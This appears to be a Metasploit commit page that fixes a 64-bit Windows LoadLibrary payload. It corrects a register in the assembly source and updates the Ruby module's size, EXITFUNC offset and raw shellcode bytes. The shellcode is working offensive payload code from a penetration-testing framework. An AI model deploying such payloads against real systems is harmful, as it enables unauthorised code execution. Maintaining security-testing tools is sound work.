Land #6176, @ganzm's fix for 64 bits windows loadlibrary payload

bug/bundler_fix
jvazquez-r7 2015-12-01 13:18:41 -06:00
commit bb3a3ae8eb
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
2 changed files with 7 additions and 7 deletions

View File

@ -15,7 +15,7 @@ delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
lea rcx, [ebp+libpath-delta]
lea rcx, [rbp+libpath-delta]
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA( &libpath );
; Finish up with the EXITFUNK.

View File

@ -9,7 +9,7 @@ require 'msf/core'
module Metasploit3
CachedSize = 314
CachedSize = 313
include Msf::Payload::Windows
include Msf::Payload::Single
@ -30,7 +30,7 @@ module Metasploit3
{
'Offsets' =>
{
'EXITFUNC' => [ 228, 'V' ]
'EXITFUNC' => [ 227, 'V' ]
},
'Payload' =>
"\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
@ -46,10 +46,10 @@ module Metasploit3
"\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" +
"\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" +
"\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" +
"\xFF\xFF\x5D\x67\x48\x8D\x8D\x00\x01\x00\x00\x41\xBA\x4C\x77\x26" +
"\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5" +
"\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13" +
"\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5"
"\xFF\xFF\x5D\x48\x8D\x8D\xFF\x00\x00\x00\x41\xBA\x4C\x77\x26\x07" +
"\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48" +
"\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72" +
"\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5"
}
))
register_options(